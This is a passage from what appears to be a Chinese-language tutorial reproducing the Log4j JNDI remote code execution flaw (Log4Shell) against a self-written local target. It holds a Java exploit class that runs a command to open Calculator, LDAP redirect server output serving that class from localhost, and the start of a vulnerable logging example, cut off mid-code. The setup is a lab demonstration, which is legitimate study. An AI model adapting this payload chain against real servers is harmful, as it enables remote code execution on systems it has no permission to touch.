public class Exploit { public Exploit(){ try{ String[] commands = {"open", "/System/Applications/Calculator.app"}; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } }
public static void main(String[] argv) { Exploit e = new Exploit(); } }
Listening on 0.0.0.0:1389 Send LDAP reference result for Log4jTest redirecting to http://127.0.0.1:8100/Exploit.class Send LDAP reference result for Log4jTest redirecting to http://127.0.0.1:8100/Exploit.class
有了上面步骤,攻击的环境已经准备好了,只需要寻找目标,自己写一个目标:
1 2 3 4 5 6 7 8 9 10 11
package com.fcbai.log4j.example; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4jExample { private static final Logger logger = LogManager.getLogger(Log4jExample.class);